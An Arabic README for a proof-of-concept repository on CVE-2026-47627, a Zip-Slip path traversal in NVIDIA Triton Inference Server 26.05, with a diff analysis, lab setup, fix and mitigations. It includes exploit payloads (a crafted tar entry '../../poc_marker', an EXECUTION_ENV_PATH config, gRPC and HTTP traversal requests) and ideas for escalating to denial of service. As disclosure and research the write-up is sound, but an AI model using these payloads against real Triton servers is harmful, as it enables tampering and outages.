
إثبات مفهوم لاستغلال CVE-2026-47627، وهي ثغرة اجتياز المسار في خادم NVIDIA Triton للاستدلال تؤدي إلى كتابة ملفات تعسفية عبر Zip-Slip. يتضمن تحليلاً مفصلاً، وبيئة مختبرية، ونصوص استغلال بنقرة واحدة.
كتابة كاملة لنتائج البحث وPoC في هذا المستودع (صورة
nvcr.io/nvidia/tritonserver:26.05-py3/server v2.69.0). المستودع مُهيّأ ليكون دائمًاexplicitلتمكين PoC بدون إعادة تشغيل عبر gRPC.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-47627 |
| CNA | [email protected] |
| النشر | 2026-08-18 (NVD بانتظار التحليل) |
| النشرة | NV 5865 ← https://github.com/NVIDIA/product-security/tree/main/2026/5865 |
| CVSS 3.1 | 9.8 حرجة AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-22 اجتياز المسار |
| المتأثر | 0.0-26.05 (server v2.69.0 / core r26.05) |
| المُصلَح | 26.06 (server v2.70.0 / core r26.06) |
| التأثير | DoS (وصف CNA) — هذا البحث يثبت كتابة ملف خارج /models عبر Zip-Slip، والتي يمكن توسيعها إلى DoS/استنزاف الموارد |
| الفضل | Martin Brodeur |
ملاحظة صادقة: وصف CNA هو فقط
path traversal ← DoSبدون تفاصيل. هذه الكتابة تعيد بناء موقع الخلل عبر diffr26.05..r26.06والاختبار المباشر في حاوية26.05-py3.
الصورة: nvcr.io/nvidia/tritonserver:26.05-py3 (TRITON_VERSION 2.69.0)
Compose دائمًا explicit (مُعدّل في هذا المستودع):
# docker-compose.yml:12
command: ["tritonserver", "--model-repository=/models", "--model-control-mode=explicit", "--log-verbose=0"]
run_triton.bat:10، run_triton.ps1:11، run_triton.sh:12 أيضًا explicit.
وضع Triton:
NONE (الافتراضي upstream) ← تحميل مرة واحدة عند البدء، POST /v2/repository/models/.../load ← 503، يجب إعادة التشغيل لتحميل نموذج جديد.POLL ← فحص المستودع كل ثانية، تحميل تلقائي، يظل يحظر التحميل الصريح.EXPLICIT (هذا المستودع) ← لا يفحص، لكنه يفتح gRPC load_model / POST /load ← PoC بدون إعادة تشغيل عبر gRPC.المنافذ:
| 8000 | HTTP REST | v2/health، v2/models، v2/repository |
| 8001 | gRPC | RepositoryModelLoad، ModelInfer |
| 8002 | Metrics | Prometheus |
النموذج الأولي:
model_repository/
├── echo_python/ (python backend, model.py)
│ └── 1/model.py
└── identity_onnx/ (onnxruntime, model.onnx ~1KB)
بدء سريع:
docker compose up -d
docker compose logs -f
py scripts/client_test.py # health + infer identity_onnx
User input (model_name / tar entry) ──► join(parent, child) ──► canonicalize ──► cek "child di dalam parent?" ──► buka file
│ │ │ │ │
└──► "../tmp/pwn" /models + "/../tmp/pwn" = /models/../tmp/pwn → /tmp/pwn rfind vs find + '/' check FileExists / extract
join بدون canonicalize أو فحص rfind(parent,0)==0 خاطئ (مطابقة جزئية /models مقابل /models_evil)، فإن ../ يمكن أن يهرب./dev/zero أو /proc/self/mem أو tar يحتوي على ../../ يكتب فوق ملفات النظام ← تعليق / OOM / انهيار.ثلاثة أسئلة بحثية (من التقرير الأولي):
model_name في gRPC RepositoryModelLoad، EXECUTION_ENV_PATH tar entry، تجاوز file:، TRITON_BATCH_STRATEGY_PATH.posixpath.join(repo, model_name) / temp_dir + "/" + file_name + IsChildPathEscapingParentPath.DoS عبر استنزاف الموارد / التعليق. في هذا المستودع يُثبت كتابة ملف إلى /tmp/poc_marker.مستودع core (r26.05..r26.06):
src/filesystem/api.cc:407 IsChildPathEscapingParentPath — إصلاح dcb315d + 72f3d9b:
// VULN (r26.05):
absolute_child.rfind(absolute_parent,0) != 0
// ← خطأ مطابقة جزئية: بادئة "/models" من "/models_evil/file" تُعتبر داخلية
// FIXED (r26.06):
canonical_child.find(canonical_parent,0)==0 &&
((child.size() > parent.size() && child[parent.size()]=='/') || child.size()==parent.size())
// ← يجب أن يكون '/' بعد البادئة، "/models_evil" الآن خارجي بشكل صحيح
يُستخدم في src/backend_model.cc:196 (TRITON_BATCH_STRATEGY_PATH) وsrc/model_repository_manager/model_repository_manager.cc:162 (file:).
src/model_repository_manager/model_repository_manager.cc:62 ValidateModelName — core#472/#481 (مارس 2026، موجود في 26.05 لكن تم تشديده في 26.06):
if (trimmed==".." || trimmed.find('/')!=npos) return INVALID_ARG "must not contain path traversal"
هذا ما يجعل gRPC load_model('../tmp/pwn') ← 400 INVALID_ARGUMENT في 26.05 (محظور بالفعل). لكن %2f (المشفر /) يمر لأنه ليس / حرفيًا ← 500 فحص حرفي.
python_be.cc:292 EXECUTION_ENV_PATH — e520f8c7 اختبار zipslip_test.py:
يتم استخراج tar بدون فحص .. / المسارات المطلقة. إدخال ../../poc_marker من /models/poc_exploit/malicious_env.tar.gz يُستخرج إلى /tmp/poc_marker (خارج مجلد النموذج). الإصلاح في 26.06: استخدام ARCHIVE_EXTRACT_SECURE_NODOTDOT|NOABSOLUTEPATHS + فحص IsChildPathEscapingParentPath.
مستودع server (r26.05..r26.06): فقط sagemaker_server.cc:1027 (فحص RE2::FullMatch) + http_server.cc:2440 (atoi→stoi)، ليس مسار هذه CVE.
الخلاصة: مسار model_name عبر HTTP/gRPC محظور بالفعل في 26.05 بواسطة ValidateModelName، لكن Zip-Slip tar لم يكن محظورًا — وهذا ما يستغله PoC في هذا المستودع.
| المتجه | الحمولة | نتيجة 26.05 | متأثر؟ |
|---|---|---|---|
HTTP خام ../ | POST /v2/repository/models/../tmp/pwn/load | 404 (تطبيع التوجيه) | ❌ |
HTTP مشفر ..%2f | POST /v2/repository/models/..%2ftmp%2fpwn/load | 500 حرفي، فحص /models/..%2ftmp%2fpwn غير موجود | ❌ (500 وهمي، ليس اجتيازًا) |
gRPC خام ../tmp/pwn | load_model('../tmp/pwn') | 400 INVALID_ARGUMENT | ❌ (محظور بالفعل) |
gRPC مشفر ..%2f | load_model('..%2ftmp%2fpwn') | 500 فحص حرفي | ❌ |
تجاوز file: ../models_evil | file:../models_evil/pwn | 400/500 حسب المطابقة الجزئية | ⚠️ (يعتمد على خطأ IsChildPathEscapingParentPath، لكن محظور بالفعل بواسطة ValidateModelName لـ model_name) |
EXECUTION_ENV_PATH tar ../../poc_marker | malicious_env.tar.gz إدخال ../../poc_marker | 200 + ملف في /tmp/poc_marker | ✅ ثغرة |
تشبيه
500 مقابل 400في الكتابة القديمة خاطئ:500= الملف غير موجود (الباب غير موجود)،400= مرفوض بالتحقق (الباب مقفل). كلاهما لا يدخل. فقط200+ ملف في/tmpهو الدليل.
الفكرة: معامل Python backend EXECUTION_ENV_PATH يشير إلى $$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz. عند load_model('poc_exploit')، يستخرج backend pb_env.cc:292 tar بدون تنقية. إدخال ../../poc_marker يهرب من .../poc_exploit/ إلى /tmp/poc_marker.
خطوات PoC (تلقائية في scripts/exploit.py:28 وexploit.ps1:20):
echo_python ← poc_exploit (scripts/exploit.py:35)config.pbtxt (scripts/exploit.py:40):
parameters: {key: "EXECUTION_ENV_PATH", value: {string_value: "$$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz"}}
scripts/exploit.py:44):
TarInfo(name='../../poc_marker', size=6, mode=0o644) # ← /tmp/poc_marker
TarInfo(name='bin/activate', mode=0o755)
gRPC load_model('poc_exploit') (scripts/exploit.py:60) — بدون إعادة تشغيل بسبب explicit.docker exec tritonserver-test cat /tmp/poc_marker ← pwned (scripts/exploit.py:81)المتطلبات: Docker، صورة 26.05-py3 مع docker compose up -d (المستودع explicit بالفعل).
Python (بدون إعادة تشغيل، عبر gRPC):
py scripts/exploit.py # اكتشاف تلقائي explicit ← gRPC
py scripts/exploit.py --keep # الاحتفاظ بالأثر للفحص اليدوي
# فحص يدوي: docker exec tritonserver-test cat /tmp/poc_marker
# تنظيف يدوي: docker exec tritonserver-test rm -f /tmp/poc_marker
PowerShell:
powershell -ExecutionPolicy Bypass -File exploit.ps1
powershell -ExecutionPolicy Bypass -File exploit.ps1 -Keep
العودة إلى MODE_NONE (إذا أردت الافتراضي upstream):
# عدّل docker-compose.yml:12 احذف --model-control-mode=explicit
docker compose up -d --force-recreate
اختبار الحظر (يجب أن يكون 400/404/500، وليس 200):
py scripts/test_http_grpc_blocked.py # موجود في المستودع القديم، محذوف الآن — استخدم سجل exploit.py
# أو يدويًا:
curl -i -X POST http://127.0.0.1:8000/v2/repository/models/..%2ftmp%2fpwn/load -H "Content-Type: application/json" -d "{}" # 500
py -3 -c "import tritonclient.grpc as g; g.InferenceServerClient('127.0.0.1:8001').load_model('../tmp/pwn')" # 400
الثغرة (26.05) — مخرجات exploit.py:
[*] Triggering exploit via gRPC load (no restart)...
[+] gRPC load sent
[+] VULNERABLE: /tmp/poc_marker exists outside /models
cat: pwned
[+] Exploit succeeded — file write outside repository confirmed
التحقق:
docker exec tritonserver-test ls -l /tmp/poc_marker # -rw-r--r-- 1 root root 6 ... /tmp/poc_marker
docker exec tritonserver-test cat /tmp/poc_marker # pwned
docker logs tritonserver-test --tail 20 | grep Extracting # Extracting Python execution env .../malicious_env.tar.gz
المُصلَح (26.06) — المتوقع:
[-] Not vulnerable: /tmp/poc_marker not found
# السجل: Path contains '..' (أو Path is absolute)
HTTP/gRPC .. يجب أن يكون 400، وليس 500:
# 26.05 gRPC خام ../ ← 400 INVALID_ARGUMENT (محظور بالفعل بواسطة ValidateModelName)
# 26.05 gRPC ..%2f ← 500 فحص حرفي (تجاوز التحقق لكن ليس اجتيازًا حقيقيًا)
# 26.06 كلاهما ← 400
CNA كتب DoS، لكن Zip-Slip هذا يمكن أن يكون كتابة فوق ملف ← DoS:
model.py / config.pbtxt لنموذج آخر ← فشل تحميل النموذج ← 503bin/activate كبير أو FIFO /tmp/fifo ← تعليق خيط pb_env.cc ← UNAVAILABLEload_model بـ tar يحتوي ../../dev/zero (لا نهائي) ← OOMهذا المستودع يركز على كتابة الملف كدليل على الاجتياز؛ يمكن توسيع DoS بـ tar يحتوي 1/model.py بحلقة لا نهائية.
26.06 (server v2.70.0، core r26.06) — IsChildPathEscapingParentPath + ARCHIVE_EXTRACT_SECURE_NODOTDOT.8000/8001 للإنترنت (وكيل عكسي + مصادقة).. و%2f في URL وEXECUTION_ENV_PATHEXECUTION_ENV_PATH إذا لم يكن ضروريًاdocker logs tritonserver-test | grep "Path contains\|failed to poll.*%2f".
├── model_repository/
│ ├── echo_python/ # نموذج python backend
│ └── identity_onnx/ # نموذج onnxruntime
├── scripts/
│ ├── exploit.py:1 # PoC الرئيسي (Python، بنقرة واحدة، gRPC، بدون إعادة تشغيل)
│ ├── generate_model.py # إعادة توليد identity_onnx
│ └── client_test.py # اختبار health + infer
├── exploit.ps1:1 # PoC الرئيسي (PowerShell، بنقرة واحدة)
├── docker-compose.yml:12 # دائمًا explicit
├── run_triton.bat:10 / .ps1:11 / .sh:12 # دائمًا explicit
├── requirements.txt # numpy, onnx, requests, tritonclient[http,grpc], grpcio, protobuf
└── README.md # هذه الكتابة
محذوف: exploit_cve_*.py، poc_zipslip_simple.py، check_mode.py، test_http_grpc_blocked.py، cleanup_poc.py، test_poc.ps1، null، model_repository/zipslip_*، /tmp/poc_marker.
https://github.com/NVIDIA/product-security/tree/main/2026/5865 (5865.md، CVE-2026-47627.json)https://nvd.nist.gov/vuln/detail/CVE-2026-47627 (بانتظار التحليل)dcb315d (تحديث مسار الطفل)، 72f3d9b (اختبار مسار الطفل)، e520f8c7 (اختبار zipslip)، 50830ba/66f09f8 (ValidateModelName)v2.70.0 (690f9dd)| التاريخ | الحدث |
|---|---|
| 2026-03-03 | core#472 ValidateModelName |
| 2026-03-16 | core#481 POSIX trim |
| 2026-05-18 | core#497 IsChildPathEscapingParentPath |
| 2026-06-02 | server#8857 اختبار zipslip |
| 2026-06-26 | إصدار التصحيح 26.06 / v2.70.0 |
| 2026-08-18 | نشر CVE |
| 2026-09-02 | التحقق من مستودع PoC هذا على 26.05-py3 ← VULNERABLE |
هذا PoC لأغراض تعليمية ومختبر مغلق. لا تعرض 8000/8001 بدون مصادقة. دائمًا استخدم exploit.py --keep ثم docker exec tritonserver-test rm -f /tmp/poc_marker وRemove-Item -Recurse model_repository/poc_exploit بعد العرض التوضيحي.